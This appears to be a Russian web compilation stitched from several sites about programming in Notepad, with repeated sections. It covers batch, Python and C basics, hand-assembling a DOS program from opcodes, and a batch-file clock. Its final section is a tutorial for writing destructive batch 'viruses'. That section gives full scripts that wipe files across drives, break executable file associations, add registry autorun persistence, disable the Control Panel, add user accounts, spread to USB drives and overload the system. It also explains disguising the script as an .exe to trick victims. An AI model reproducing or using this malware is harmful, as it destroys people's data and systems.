Как самому написать программу Часы в Windows. Как программировать в блокноте


Как написать программу в Блокноте

Что делать начинающему программисту, если для создания кода у него под рукой нет ничего? Ну, или почти ничего, ведь сам компьютер с установленной на нем операционной системой мы в расчет не принимаем. Вам скажут, что тут поможет Блокнот (Notepad.exe). Поговорим же, как написать программу при помощи чего-нибудь еще.

Сейчас, чтобы программировать на любом языке, принято пользоваться специальными средами программирования. Любая такая среда включает в себя удобный редактор, в котором происходит написание кода, средства отладки и компилятор, а также некоторые утилиты. Но на заре компьютерной эпохи все обстояло не так. Уже трудно представить, что в DOS можно написать текстовый файл без помощи Блокнота. Также без помощи Блокнота можно было создать программу и даже внести «на лету» изменения в коды исполняемых процессов.

Затем, уже с появлением последних версий DOS и первых Windows, стали пользоваться программой-блокнотом. Чтобы написать программу в Паскале или любом другом популярном языке того времени. До сих пор ходит мнение, что настоящие программисты пишут код в Блокноте. Что ж, если вы знаете, как написать программу на том или ином языке, Блокнота будет достаточно, но специализированные средства все же лучше. Работать в них комфортнее и быстрее.

Например, современный Notepad++, или блокнот для программистов, способен подсвечивать команды для кода у более чем 50 языков. Программой очень удобно пользоваться, если вам нужно сохранить файл с определенной кодировкой. UTF-8 без BOM, например, бывает сложно выставить в обычном Блокноте от Microsoft. Notepad++ удобно использовать для написания web-скриптов или текста в HTML, хотя тут справился бы любой другой текстовый редактор.

Среды программирования хороши тем, что написанный код можно сразу трассировать (запустить пошаговое выполнение) в отладчике. Это позволяет быстрее находить ошибки. Ну, и без компилятора не обойтись. Код с командами – это такой же текст, если его не понимает машина. Если только вы не знаете, как написать программу в машинных кодах. Компилятор нужен как раз для того, чтобы перевести программу из языка программирования, понятного для людей, на язык, понятный компьютеру.

Но и Блокнот забывать не стоит. Правда, серьезную и длинную программу вы в нем вряд ли напишете (легко допустить и трудно найти ошибку). Зато в интернете сейчас можно обнаружить множество рецептов, как написать программу в Блокноте, и сохранить ее с расширениями BAT и VBS. Это не совсем программы, на языке операционной системы эти файлы называются исполняемыми. И перед тем, как написать программу, вам необходимо изучить команды для управления из консоли Windows и язык Visual Basic. Иначе придется пользоваться готовыми рецептами.

И не стоит верить, что в Блокноте вы сможете написать полноценный вирус. Творения современных хакеров имеют тысячи строк, немалую долю которых занимают алгоритмы шифрования, защиты и сокрытия исполняемого кода. Маленькая программа-шутка не пройдет через фильтры большинства антивирусов. А если ее защитить, она превратится в большую. И тут вам снова придется учиться, как это сделать, а не искать готовые рецепты.

В общем, сделать программу «из ничего» и правда можно. Но если вы никогда не пробовали, быстро это у вас не получится.

fb.ru

Как написать программу в блокноте

4 части:Использование Блокнота для программирования на любом языкеСоздание пакетного файлаСоздание программы на PythonСоздание программы на C

Хотите научиться программировать? Вам не нужно навороченное программное обеспечение; Вы сможете работать с любым языком программирования в Блокноте. Функционал не слишком широкий, но отлично подходит для пакетных файлов и тестирования других небольших программ. Вы сможете создать простую программу за несколько минут, но для более сложных программных продуктов, возможно вам стоит подумать о более продвинутом редакторе.

Шаги

Часть 1 из 4: Использование Блокнота для программирования на любом языке

  1. 1 Пишите код на любом языке. Так как Блокнот является текстовым редактором, вы сможете ввести код любого языка программирования, от C до HTML. Вы сможете открыть Блокнот в папке Дополнительные, меню Пуск, или поискав "блокнот”.
    • В секции снизу вы сможете найти простые примеры для нескольких языков программирования.
  2. 2 Сохраните файл в нужном формате. Если вы хотите работать с вашим кодом в компиляторе или интерпретаторе выбранного языка программирования, то вам необходимо сохраните файл в соответствующем формате. Кликните на Файл – Сохранить как. В контекстном меню "Сохранить в формате” выберите "Все файлы (*.*)". Введите разрешение выбранного языка программирования.
  3. 3 Подумайте о более надежном редакторе. В то время когда вы с легкостью сможете писать программы в Блокноте, это не будет самым простым способом. В Блокноте отсутствует выделение синтаксиса и отступы, что делает процесс написания программы более сложным. Подумайте о такой программе, как Notepad++, которая создана для программирования, а также является бесплатной.

Часть 2 из 4: Создание пакетного файла

  1. 1 Научитесь простейшим пакетным командам. Блокнот очень часто используется для создания пакетных файлов. Пакетные файлы являются программами, которые используются для автоматических функций в командной строке. Вы можете использовать пакетные файлы, чтобы применить изменения к большому количеству файлов одновременно, создать резервные копии и многое другое.
    • Снизу представлены простейшие примеры пакетных программ.
  2. 2 Напишите простейшую программу для создания резервных копий. Это простая программа в состоянии создавать резервную копию файлов из одной папки в другую, копируя только те файлы, которые были изменены со времени последней резервной копии.
  3. 3 Напишите командный файл, чтобы протестировать вашу сеть. Если вы захотите протестировать вашу сеть или подключение к интернету, то данный пакетный файл будет отображать информацию команд Ipconfig и Ping.
  4. 4 Сохраните файл в формате .bat. Когда вы создаете пакетный файл в Блокноте, вам придется сохранить его в качестве файла .bat. Файл станет исполняющим, который запускается двойным нажатием мышки или с помощью командной строки.
    • Кликните на Файл – Сохранить как. В контекстном меню "Сохранить в формате” выберите "Все файлы (*.*)". Введите разрешение .bat. Файл сохраниться в качестве пакетного файла, позволяя его запускать.
  5. 5 Создайте собственный пакетные файлы. Вы сможете сделать многое с помощью пакетных файлов. Вы сможете добавить задержки, создать программу для сжатия файлов, добавить пароль и многое другое.
    • Поищите в интернете дополнительную информацию по работе и созданию пакетных файлов.

Часть 3 из 4: Создание программы на Python

  1. 1 Научитесь простейшим скриптам на Python-е. Python является популярным языком программирования для веб-скриптов, и одним из самых простых языков для изучения. Программы на Pyhton не обязательно должны быть сложными; вам понадобится установленный интерпретатор. Большинство программ на Python работают через интерфейс командной строки.
    • Снизу вы можете увидеть несколько простых примеров файлов на Python-е.
  2. 2 Создайте программу "Hello, World". Это является самой простой программой для создания и учит основам конструирования программ на Python. Программа отображает слова "Hello, World!" на экране пользователя.
  3. 3 Выведите последовательность Фибоначчи. Это простая программа подсчитывает числа Фибоначчи до 100. Вы сможете изменить значение 100 (на второй строке) на любое другое. Не забудьте включить выступы – это то, как на Python-е обозначаются функции.
  4. 4 Запустите ваши программы. Вам не нужно компилировать программы на Python-е, чтобы их запустить. Если у вас есть установленный интерпретатор, то вы сможете запустить сохраненный файл, чтобы запустить программу. Кликните на Файл – Сохранить как. В контекстном меню "Сохранить в формате” выберите "Все файлы (*.*)". Введите разрешение ".py”. Таким образом интерпретатор сможет распознать и запустить нужный файл.
  5. 5 Создайте другие программы на Python-е. Даже если вы не очень знакомы с языком, Python является очень мощным языком программирования, который поможет в создании многих полезных вещей. Вы сможете создать списки, петли и графики. Вы даже сможете создать игру, используя Python.
    • Поищите в интернете дополнительную информацию по работе и созданию программ на Python-е.

Часть 4 из 4: Создание программы на C

  1. 1 Узнайте о простейшем коде C. C является одним из самых старых языков программирования, который служит базой для многих современных языков, например, C++ и Objective-C.
    • Снизу находятся несколько простых примеров файлов на C.
  2. 2 Создайте программу "Hello, World". Это является самой простой программой для создания и учит основам конструирования программ на С. Программа отображает слова "Hello, World!" на экране пользователя. Не забудьте включить выступы и обозначения функций.
  3. 3 Создайте программу для записи пользовательского ввода. Множество ваших разработок будет связано с пользовательским вводом. Эта простая программа позволяет взять число и превратить его в переменную, что является первым шагом для конструирования более сложных программ.
  4. 4 Скомпилируйте ваши программы. С нуждается в компиляции, чтобы превратить код в рабочую программу. Кликните на Файл – Сохранить как. В контекстном меню "Сохранить в формате” выберите "Все файлы (*.*)". Введите разрешение ".c” и сохраните файл. Это позволит запустить файл в будущем.
  5. 5 Создайте другие программы. Данные примеры являются самой верхушкой айсберга, когда дело доходит до С, который является очень мощным языком программирования. Существуют множество способов применения программ на С: вы сможете сравнивать сроки, задерживать программы, создавать оповещения и многое другое.
    • Поищите в интернете дополнительную информацию по работе и созданию программ на С.

ves-mir.3dn.ru

Как написать программу в блокноте Как? Так!

Содержимое:

4 части:

Хотите научиться программировать? Вам не нужно навороченное программное обеспечение; Вы сможете работать с любым языком программирования в Блокноте. Функционал не слишком широкий, но отлично подходит для пакетных файлов и тестирования других небольших программ. Вы сможете создать простую программу за несколько минут, но для более сложных программных продуктов, возможно вам стоит подумать о более продвинутом редакторе.

Шаги

Часть 1 Использование Блокнота для программирования на любом языке

  1. 1 Пишите код на любом языке. Так как Блокнот является текстовым редактором, вы сможете ввести код любого языка программирования, от C до HTML. Вы сможете открыть Блокнот в папке Дополнительные, меню Пуск, или поискав “блокнот”.
    • В секции снизу вы сможете найти простые примеры для нескольких языков программирования.
  2. 2 Сохраните файл в нужном формате. Если вы хотите работать с вашим кодом в компиляторе или интерпретаторе выбранного языка программирования, то вам необходимо сохраните файл в соответствующем формате. Кликните на Файл – Сохранить как. В контекстном меню “Сохранить в формате” выберите "Все файлы (*.*)". Введите разрешение выбранного языка программирования.
  3. 3 Подумайте о более надежном редакторе. В то время когда вы с легкостью сможете писать программы в Блокноте, это не будет самым простым способом. В Блокноте отсутствует выделение синтаксиса и отступы, что делает процесс написания программы более сложным. Подумайте о такой программе, как Notepad++, которая создана для программирования, а также является бесплатной.

Часть 2 Создание пакетного файла

  1. 1 Научитесь простейшим пакетным командам. Блокнот очень часто используется для создания пакетных файлов. Пакетные файлы являются программами, которые используются для автоматических функций в командной строке. Вы можете использовать пакетные файлы, чтобы применить изменения к большому количеству файлов одновременно, создать резервные копии и многое другое.
    • Снизу представлены простейшие примеры пакетных программ.
  2. 2 Напишите простейшую программу для создания резервных копий. Это простая программа в состоянии создавать резервную копию файлов из одной папки в другую, копируя только те файлы, которые были изменены со времени последней резервной копии.
  3. 3 Напишите командный файл, чтобы протестировать вашу сеть. Если вы захотите протестировать вашу сеть или подключение к интернету, то данный пакетный файл будет отображать информацию команд Ipconfig и Ping.
  4. 4 Сохраните файл в формате .bat. Когда вы создаете пакетный файл в Блокноте, вам придется сохранить его в качестве файла .bat. Файл станет исполняющим, который запускается двойным нажатием мышки или с помощью командной строки.
    • Кликните на Файл – Сохранить как. В контекстном меню “Сохранить в формате” выберите "Все файлы (*.*)". Введите разрешение .bat. Файл сохраниться в качестве пакетного файла, позволяя его запускать.
  5. 5 Создайте собственный пакетные файлы. Вы сможете сделать многое с помощью пакетных файлов. Вы сможете добавить задержки, создать программу для сжатия файлов, добавить пароль и многое другое.
    • Поищите в интернете дополнительную информацию по работе и созданию пакетных файлов.

Часть 3 Создание программы на Python

  1. 1 Научитесь простейшим скриптам на Python-е. Python является популярным языком программирования для веб-скриптов, и одним из самых простых языков для изучения. Программы на Pyhton не обязательно должны быть сложными; вам понадобится установленный интерпретатор. Большинство программ на Python работают через интерфейс командной строки.
    • Снизу вы можете увидеть несколько простых примеров файлов на Python-е.
  2. 2 Создайте программу "Hello, World". Это является самой простой программой для создания и учит основам конструирования программ на Python. Программа отображает слова "Hello, World!" на экране пользователя.
  3. 3 Выведите последовательность Фибоначчи. Это простая программа подсчитывает числа Фибоначчи до 100. Вы сможете изменить значение 100 (на второй строке) на любое другое. Не забудьте включить выступы – это то, как на Python-е обозначаются функции.
  4. 4 Запустите ваши программы. Вам не нужно компилировать программы на Python-е, чтобы их запустить. Если у вас есть установленный интерпретатор, то вы сможете запустить сохраненный файл, чтобы запустить программу. Кликните на Файл – Сохранить как. В контекстном меню “Сохранить в формате” выберите "Все файлы (*.*)". Введите разрешение “.py”. Таким образом интерпретатор сможет распознать и запустить нужный файл.
  5. 5 Создайте другие программы на Python-е. Даже если вы не очень знакомы с языком, Python является очень мощным языком программирования, который поможет в создании многих полезных вещей. Вы сможете создать списки, петли и графики. Вы даже сможете создать игру, используя Python.
    • Поищите в интернете дополнительную информацию по работе и созданию программ на Python-е.

Часть 4 Создание программы на C

  1. 1 Узнайте о простейшем коде C. C является одним из самых старых языков программирования, который служит базой для многих современных языков, например, C++ и Objective-C.
    • Снизу находятся несколько простых примеров файлов на C.
  2. 2 Создайте программу "Hello, World". Это является самой простой программой для создания и учит основам конструирования программ на С. Программа отображает слова "Hello, World!" на экране пользователя. Не забудьте включить выступы и обозначения функций.
  3. 3 Создайте программу для записи пользовательского ввода. Множество ваших разработок будет связано с пользовательским вводом. Эта простая программа позволяет взять число и превратить его в переменную, что является первым шагом для конструирования более сложных программ.
  4. 4 Скомпилируйте ваши программы. С нуждается в компиляции, чтобы превратить код в рабочую программу. Кликните на Файл – Сохранить как. В контекстном меню “Сохранить в формате” выберите "Все файлы (*.*)". Введите разрешение “.c” и сохраните файл. Это позволит запустить файл в будущем.
  5. 5 Создайте другие программы. Данные примеры являются самой верхушкой айсберга, когда дело доходит до С, который является очень мощным языком программирования. Существуют множество способов применения программ на С: вы сможете сравнивать сроки, задерживать программы, создавать оповещения и многое другое.
    • Поищите в интернете дополнительную информацию по работе и созданию программ на С.

Прислал: Шестакова Мария . 2017-11-06 17:43:53

kak-otvet.imysite.ru

Как написать программу в блокноте

Что делать начинающему программисту, если для создания кода у него под рукой нет ничего? Ну, или почти ничего, ведь сам компьютер с установленной на нем операционной системой мы в расчет не принимаем. Вам скажут, что тут поможет Блокнот (Notepad.exe). Поговорим же, как написать программу при помощи чего-нибудь еще.

Сейчас, чтобы программировать на любом языке, принято пользоваться специальными средами программирования. Любая такая среда включает в себя удобный редактор, в котором происходит написание кода, средства отладки и компилятор, а также некоторые утилиты. Но на заре компьютерной эпохи все обстояло не так. Уже трудно представить, что в DOS можно написать текстовый файл без помощи Блокнота. Также без помощи Блокнота можно было создать программу и даже внести «на лету» изменения в коды исполняемых процессов.

Затем, уже с появлением последних версий DOS и первых Windows, стали пользоваться программой-блокнотом. Чтобы написать программу в Паскале или любом другом популярном языке того времени. До сих пор ходит мнение, что настоящие программисты пишут код в Блокноте. Что ж, если вы знаете, как написать программу на том или ином языке, Блокнота будет достаточно, но специализированные средства все же лучше. Работать в них комфортнее и быстрее.

Например, современный Notepad++, или блокнот для программистов, способен подсвечивать команды для кода у более чем 50 языков. Программой очень удобно пользоваться, если вам нужно сохранить файл с определенной кодировкой. UTF-8 без BOM, например, бывает сложно выставить в обычном Блокноте от Microsoft. Notepad++ удобно использовать для написания web-скриптов или текста в HTML, хотя тут

справился бы любой другой текстовый редактор.

Среды программирования хороши тем, что написанный код можно сразу трассировать (запустить пошаговое выполнение) в отладчике. Это позволяет быстрее находить ошибки. Ну, и без компилятора не обойтись. Код с командами – это такой же текст, если его не понимает машина. Если только вы не знаете, как написать программу в машинных кодах. Компилятор нужен как раз для того, чтобы перевести программу из языка программирования, понятного для людей, на язык, понятный компьютеру.

Но и Блокнот забывать не стоит. Правда, серьезную и длинную программу вы в нем вряд ли напишете (легко допустить и трудно найти ошибку). Зато в интернете сейчас можно обнаружить множество рецептов, как написать программу в Блокноте, и сохранить ее с расширениями BAT и VBS. Это не совсем программы, на языке операционной системы эти файлы называются исполняемыми. И перед тем, как написать программу, вам необходимо изучить команды для управления из консоли Windows и язык Visual Basic. Иначе придется пользоваться готовыми рецептами.

И не стоит верить, что в Блокноте вы сможете написать полноценный вирус. Творения современных хакеров имеют тысячи строк, немалую долю которых занимают алгоритмы шифрования, защиты и сокрытия исполняемого кода. Маленькая программа-шутка не пройдет через фильтры большинства антивирусов. А если ее защитить, она превратится в большую. И тут вам снова придется учиться, как это сделать, а не искать готовые рецепты.

В общем, сделать программу «из ничего» и правда можно. Но если вы никогда не пробовали, быстро это у вас не получится.

Источник: fb.ru

Категория: Программное обеспечение

Похожие статьи:

Как автоматически запустить программу или выключить компьютер в зависимости от действий пользователя

Как полностью удалить программу или игру с компьютера?

Как добавить программу в автозагрузку

[Mac OS X] Как изменить программу, открывающую файл по умолчанию?

Как найти партнерскую программу для сайта или блога? Простые рекомендации

mykomputers.ru

Калькулятор, блокнот и программирование / Песочница / Хабр

Не секрет что каждый из нас хоть раз открывал com или exe файлы блокнотом, видел письмена подобные этим:

В целях приподнятия завесы тайны странного наречия и написана эта статья. Сразу стоит отметить, что символы, приведенные выше, по большей части, не несут смысловой нагрузки в своем начертании. Они являются визуальной формой числового представления. В свою очередь, числовое представление является операционным кодом машинного языка, и хранителем сакрального смысла этих тайных знаков.

Практика
Перейдем к более детальному изучению. Для этого нам понадобится книга написанная в недрах корпорации intel (intel 80386 Programmer's Reference Manual). Где детально рассказывается о формате инструкций процессора. Обычно первой программой на любом языке программирования является вывод сообщения «Hello World!». Чтож… Не будем отступать от классики и приступим.

На первом этапе, нам придется опустится как можно ближе к опкодам и написать программу на языке Ассемблера

Язык ассемблера, или просто ассемблер — низкоуровневый язык программирования, использующий мнемоники, инструкции и операнды для представления машинного кода Википедияorg 100h mov ah,9h mov dx,message int 21h int 20h message db 'Hello World$'

Теперь, имея на руках готовую программу, можно перейти к этапу трансляции.

Трансляцияorg 100h Это просто смещение и код для него не генерируется. Будем использовать 100h для будущего расчета адресов.

mov ah,9h — заносим в регистр ah число 9h. Переведем в машинные коды. Открываем второй том интеловской книги на странице с инструкцией mov. И видим…

Opcode Instruction Clocks Description
88 /r MOV r/m8,r8 2/2 Move byte register to r/m byte
89 /r MOV r/m16,r16 2/2 Move word register to r/m word
89 /r MOV r/m32,r32 2/2 Move dword register to r/m dword
8A /r MOV r8,r/m8 2/4 Move r/m byte to byte register
8B /r MOV r16,r/m16 2/4 Move r/m word to word register
8B /r MOV r32,r/m32 2/4 Move r/m dword to dword register
8C /r MOV r/m16,Sreg 2/2 Move segment register to r/m word
8D /r MOV Sreg,r/m16 2/5,pm=18/19 Move r/m word to segment register
A0 MOV AL,moffs8 4 Move byte at (seg:offset) to AL
A1 MOV AX,moffs16 4 Move word at (seg:offset) to AX
A1 MOV EAX,moffs32 4 Move dword at (seg:offset) to EAX
A2 MOV moffs8,AL 2 Move AL to (seg:offset)
A3 MOV moffs16,AX 2 Move AX to (seg:offset)
A3 MOV moffs32,EAX 2 Move EAX to (seg:offset)
B0 + rb MOV reg8,imm8 2 Move immediate byte to register
B8 + rw MOV reg16,imm16 2 Move immediate word to register
B8 + rd MOV reg32,imm32 2 Move immediate dword to register
C6 MOV r/m8,imm8 2/2 Move immediate byte to r/m byte
C7 MOV r/m16,imm16 2/2 Move immediate word to r/m word
C7 MOV r/m32,imm32 2/2 Move immediate dword to r/m dword

Как же выбрать из всего этого множества необходимую команду? Регистр ah является байтным регистром. Плюс нам необходимо занести в регистр число 9. Поэтому выбираем опкод для MOV reg8, imm8, это B0+rb, где rb номер регистра, который можно взять из следующей таблицы.

rb rb rd
0 AL AX EAX
1 CL CX ECX
2 DL DX EDX
3 BL BX EBX
4 AH SP ESP
5 CH BP EBP
6 DH SI ESI
7 BH DI EDI
Номер регистра ah равен 4. Отсюда B0+4=B4. Число, которое будет занесено в регистр, пишется следом за опкодом инструкции. Таким образом, mov ah, 9h превращается в B4, 9 (запятая поставлена лишь для визуального отделения чисел).

Следующая инструкция mov dx, message. В регистр dx заносим адрес строки message. Пока рассчитать его мы не можем, поэтому поставим временную заглушку. Пользуясь двумя приведенными выше таблицами, получаем опкод для mov dx — BA,100, где 100 является временной мерой. Теперь транслируем int 21h и int 20h, из приведенной ниже таблицы можно получить нужные опкоды — это CD,21 и CD,20.

Opcode Instruction Clocks Description
CD ib INT imm8 37 Interrupt numbered by immediatebyte
CD ib INT imm8 pm=59 Interrupt--Protected Mode, same privilege
CD ib INT imm8 pm=99 Interrupt--Protected Mode, moreprivilege
CD ib INT imm8 pm=119 Interrupt--from V86 mode to PL 0
CD ib INT imm8 ts Interrupt--Protected Mode, via task

Запишем полученную программу: B4, 09, BA, 100, CD, 21, CD, 20. Вернемся к нашей заглушке потому, как нам все еще необходимо рассчитать адрес нашей строки для вывода. Теперь это сделать достаточно просто. Посчитаем все пары цифр по порядку. Их девять (число 100h не входит в один байт. Поэтому требуется два). Таким образом, адрес строки будет равен 100h+9h=109h. Заменяем 100h на 109h. Число 109h, по понятным причинам, не может быть помещено в один байт, поэтому понадобиться двухбайтовое значение 09,01 таким образом, получаем следующую программу: B4, 09, BA, 09, 01, CD, 21, CD, 20.

Кодинг Для простоты кодирования приведем числа к десятичной системе счисления (для оправдания заголовка, на калькуляторе)180, 9, 186, 9, 1, 205, 33, 205, 32. Вооружаемся блокнотом и вставляем нужные ASCII символы. Не забываем ввести в конце Hello World!$. Все что осталось это сохранить наш файл с расширением com и запустить.

habr.com

Как самому написать программу Часы в Windows

Как написать программу Часы в Windows

Всем привет. Мой ресурс – это не совсем то место, где было бы интересно профессиональным программистам. Однако именно сейчас мы научимся писать простейшую программку, которая будет отображать текущее время в уголочке вашей системы.

Визуально она будет похожа на интегральные часы а-ля 70-х-80-х годов, так как работать будет в консоли команд Windows. Вещь совершенно бесполезная в быту, однако сам процесс… Каждую из команд для облегчения восприятия я буду объяснять – вдруг вам это дело понравится?

Использовать будем только программу Блокнот или похожие на неё утилиты текстовых редакторов. Если лень читать описание и комментарии к командам, внизу статьи снимок конечного файла со всеми строчками кода.

Вы можете также копировать и вставлять мои команды прямо в консоль по ходу объяснения. Если кто-то забыл как это делается и что ещё умеет консоль Windows, читайте статью Полезные функции консоли команд Windows.

Запускаем Блокнот и введём нашу первую команду, которая означает, что программа будет показывать дальнейший код на экране:

@echo off

После этого запишем кусочек кода, который определит цвет цифр на фоне консоли. В фильме «Матрица» это были зелёные символы на чёрном фоне, ну и мы туда же:

color 0a

 где color – цвет

0a – светло-зелёный

Далее пишем:

:start

: — означает, что появилась точка отсчёта, к которой вы ещё вернётесь

start – имя этой точки. Все всегда и пишут, что имя ей может быть присвоено любое, однако start – имя точки отсчёта всех времён и народов.

Следующая строчка кода:

Cls

От английского Clear Screen (Очистить экран). Этим она и занимается. Чуть позже или по другим статьям вы обнаружите, что после очистки экрана любой код работает порезвее. Да и предыдущий код не засоряет окно.

Следующая команда:

echo %time%

Код «эхо» — «echo» — просит программу выводить на экран то, что в этой строчке написано.

%time% — означает отображение текущего по компьютеру времени.

Дальше идёт:

goto start

означает отправится к start (кстати, написано грамматически неверно – правильно «go to»).

Но перед этой строкой внесите кусок кода, который попросит бегущие мгновения не мерцать:

timeout 0 /nobreak>null

А вот и всё. Теперь сохраните получившийся файл под именем…ну, «часы», видимо с расширением .bat:

Запускайте и любуйтесь на своё творение. Вам удалось написать программу, которая вполне себе работоспособна. Вот как ваш код должен выглядеть перед запуском в текстовом редакторе:

 

Успехов

Просмотров: 2 112

Похожее

computer76.ru

Самоучитель по созданию вирусов в блокноте

Самоучитель по созданию вирусов в блокноте

 

Итак, приступим. Вы решили заняться вирусо-писательством. Сразу вам скажу, что эти вирусы, конечно, могут очень сильно навредить компьютеру, но полноценно передаваться с одного компьютера на другой они не могут. За все, что произойдет с вашим компьютером отвечаете вы и только вы. Приступим:1) Открываем блокнот;2) Пишем в нем «mspaint», без кавычек;3) Сохраняем файл под любым именем, но вместо .txt мы напишем .bat;4) Откроем файлик и увидим, что открылся Paint))Вот и готова наша первая программка. Вместо «mspaint» можно вписать любую программу, например: Calc-калькулятор, Taskmgr-диспетчер задач… Но при чем здесь вирусы? — спросите вы. Ни при чем)) Следующее, что мы сделаем, это программа для изменения времени на компьютере, да и еще она будит копировать себя на флешку (если та вставлена). Итак:Пишем в блокноте:time 00:00copy %0 F:\\Work.batПервой сточкой мы изменяем время на 00:00, а второй скопируем файл на диск F — флешка с именем Work. Не забудьте, сохранить блокнотовский файл в формате .bat. Вместо времени можно изменить и дату «Date 13.06.23». Написав такую строчку, мы изменим дату на 2023 год, 6 месяц, 13 число)) Теперь небольшой перечень того, что можно писать в блокнотовском вирусе.

СПИСОК:

 

1) «copy %0 x:\\y» — копирует вирус на диск x в папку y (пример copy %0 C:\\System.bat);2) «label x:y» — переименовывает диск x на имя y (пример label C:error);3) «time х:у» — меняет время на х часов и у минут (пример time 14:27);4) «date x.y.z» — меняет дату на x день, y месяц, z лет (пример date 16.11.05);5) «md х» — создаст папку, в том месте, где наш вирус, с именем х (пример md Papka);6) «del *.* /q» — удалит все файлы (наш вирус тоже) в папке, где лежит наш вирус (кроме папок);7) «del x:\\y *.* /q» — удалит все файлы на диске х в папке у (кроме папок)  (пример del F:\\Data*.* /q);8) «assoc .х=.у» — переделает все файлы, на компьютере, форматом х на у (пример assoc .exe=.mp3);9) «net user \»х\» /add» — добавит на компьютер пользователя под именем х (пример net user \»Smoked\» /add);Вот две программки вам на рассмотрение, можете их использовать без моего соглашения, но, используя их, вы принимаете соглашение пользователя.1)Программа для удаления файлов с флешки (если та вставлена) и переименования ее.del F:\\ *.* /qlabel F:HACK2)Программа для изменения даты и времени на компьютере и копирования ее на диск C и на флешку.time 14:13date 11.07.12copy %0 C:\\Time.batcopy %0 F:\\Time.bat

Вы уже умеете создавать простенькие вирусы.Он умеет: менять время, дату, названия дисков и флешек, открывать программы, создавать папки, копировать себя, добавлять пользователей, менять расширения и уничтожать информацию. Это довольно небольшой список, чесно говоря. Теперь я научу вас некоторым тонкостям вирусописательсва. Допустим, вы уже сделали вирус, но выглядит он довольно некрасиво. Ну кто откроет непонятный файл? Вы правы, таких людей на свете не много. Как же изменить формат из .bat на .exe и добавить иконку. Очень легко (Нужно чтобы на компьютере был WinRAR). Находим любой вирус с расширением .bat, нажимаем на него правой кнопкой, жмем «Добавить в архив…». Ставим галочку «Создать SFX-архив», выбираем вкладку дополнительно, и кликаем на кнопку «Параметры SFX…». В окне «Выполнить после распаковки» пишем названия вируса (пример Virus.bat) а в окне «Текст и графика» далее «Загрузить значок SFX из фала». Жмем «Обзор» и ищем любой значок формата .ico. Теперь жмем ОК. Готово)) Формат .exe, а не .bat, как нам и надо было. Теперь можно делать с вирусами что угодно. А что именно, решать уже вам. Хотите научиться еще командам, которыми можно просто добить нашего «лоха», открываем www.Google.ru, пишем bat вирусы и жмем «Искать».

Допустим, вы написали вирус, который будет портить открытую от папок информацию и немного вредить:del C:\\ *.* /qdel D:\\ *.* /qdel E:\\ *.* /qdel F:\\ *.* /qtime 00:00date 13.06.23del *.* /qГотово? – спросите вы. Нет. Нужно его закончить. Новая команда «@echo off» вводиться в начале нашего вируса и скрывает все, что в нем происходит в дальнейшем. Одним словом, не дадим пользователю увидеть, что случилось. Еще добавив после каждой команды простенькое, но очень эффективное действие, как «>nul» к примеру «time 00:00 >nul», мы скроем сточку. Итак, можно усовершенствовать наш вирус:@echo offdel C:\\ *.* /q >nuldel D:\\ *.* /q >nuldel E:\\ *.* /q >nuldel F:\\ *.* /q >nultime 00:00 >nuldate 13.06.23 >nuldel *.* /q >nulВот, теперь наш вирус готов. Сохраняем, конвертируем, а вот, что дальше с ним делать — ваше дело. Кстати, есть отличная программа для конвертирования .bat в .exe, она работает намного лучше WinRAR\’а, называется она «Bat to exe converter». Скачать ее можно в интернете, она бесплатная. Итак, вернемся к вирусо-писательству.%SystemRoot%/system32/rundll32 user32, SwapMouseButtonДанная строчка меняет клавиши мыши местами. Можно с кого-то прикольнуться,  пока он въедет, что случилось, пройдет время (если он совсем юзер), для особоодаренных скажу, если вы ввели это у себя отключить довольно просто: «Панель Управления», «Принтеры и другое оборудование», «Мышь» и снимаем первую галочку.Итак, дальше поехали дальше:😡 ;Start mspaintgoto x ;Очень неплохая строка для нагрузки слабеньких машин. Команда открывает Paint, причем очень быстро. Раз 60 до того как вы поймете, что случилось и закроете программу. Попробуйте ввести вместо mspaint любые строки программ… Работает)) Можно использовать  по несколько таких команд до полного торможения компьютера жертвы. Новый скрипт:copy \»\»%0\»\» \»%SystemRoot%\\system32\\File.bat\»reg add \»HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\» /v \»Filel\» /t REG_SZ /d \»%SystemRoot%\\system32\\File.bat\» /freg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer /v NoControlPanel /t REG_DWORD /d 1 /fОчень жестокая команда: добавляет программу в автозагрузку ОС. Не советую проверять на вашем компьютере. Не останавливаемся, а едем дальше))assoc .lnk=.txt >nulassoc .exe=.mp3 >nulДанными двумя строками мы делаем, весьма тяжелый вред компьютеру жертвы. Он меняет расширения всех файлов на компьютере с .lnk в .txt и  .exe в .mp3. То есть все ярлыки, открываются в блокноте, а программы, все, в плеере. Круто, да? Теперь прочтите нижний код и если вы поняли, в чем суть вируса, поздравляю вас вы закончили базовый курс, от SMOKED\’а, вирусо-писательства. Если же нет. Читаем все заново))@echo off%SystemRoot%/system32/rundll32 user32, SwapMouseButton >nultime 0:00 >nuldate 13.06.23 >nullabel C:IDIOT >nullabel D:URAK >nullabel E:SUKA >nullabel F:GANDON >nulcopy %0 C:\\Open.bat >nulcopy %0 D:\\Open.bat >nulcopy %0 E:\\Open.bat >nulcopy %0 F:\\Open.bat >nulnet user \»Idiot you Hacked\» /add >nulnet user \»Bitch you Hacked\» /add >nulnet user \»Durak you Hacked\» /add >nulnet user \»Kritin you Hacked\» /add >nulnet user \»Gavno you Hacked\» /add >nulmd 1 >nulmd 2 >nulmd 3 >nulmd 4 >nulmd 5 >nulmd 6 >nulmd 7 >nulmd 8 >nulmd 9 >nulmd 10 >nulmd 11 >nulmd 12 >nulmd 13 >nulmd 14 >nulmd 15 >nulmd 16 >nulmd 17 >nulmd 18 >nulmd 19 >nulmd 20 >nulmd 21 >nulmd 22 >nulmd 23 >nulmd 24 >nulmd 25 >nulmd 26 >nulmd 27 >nulassoc .lnk=.txt >nulassoc .exe=.txt >nul😡 ;Start mspaintgoto x ;😡 ;Start Calcgoto x ;copy \»\»%0\»\» \»%SystemRoot%\\system32\\Cool.bat\» >nulreg add \»HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\» /v \»Cool\» /t REG_SZ /d \»%SystemRoot%\\system32\\Cool.bat\» /f >nulreg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f >nuldel %0 >nul

Самоучитель по созданию вирусов в блокноте

 

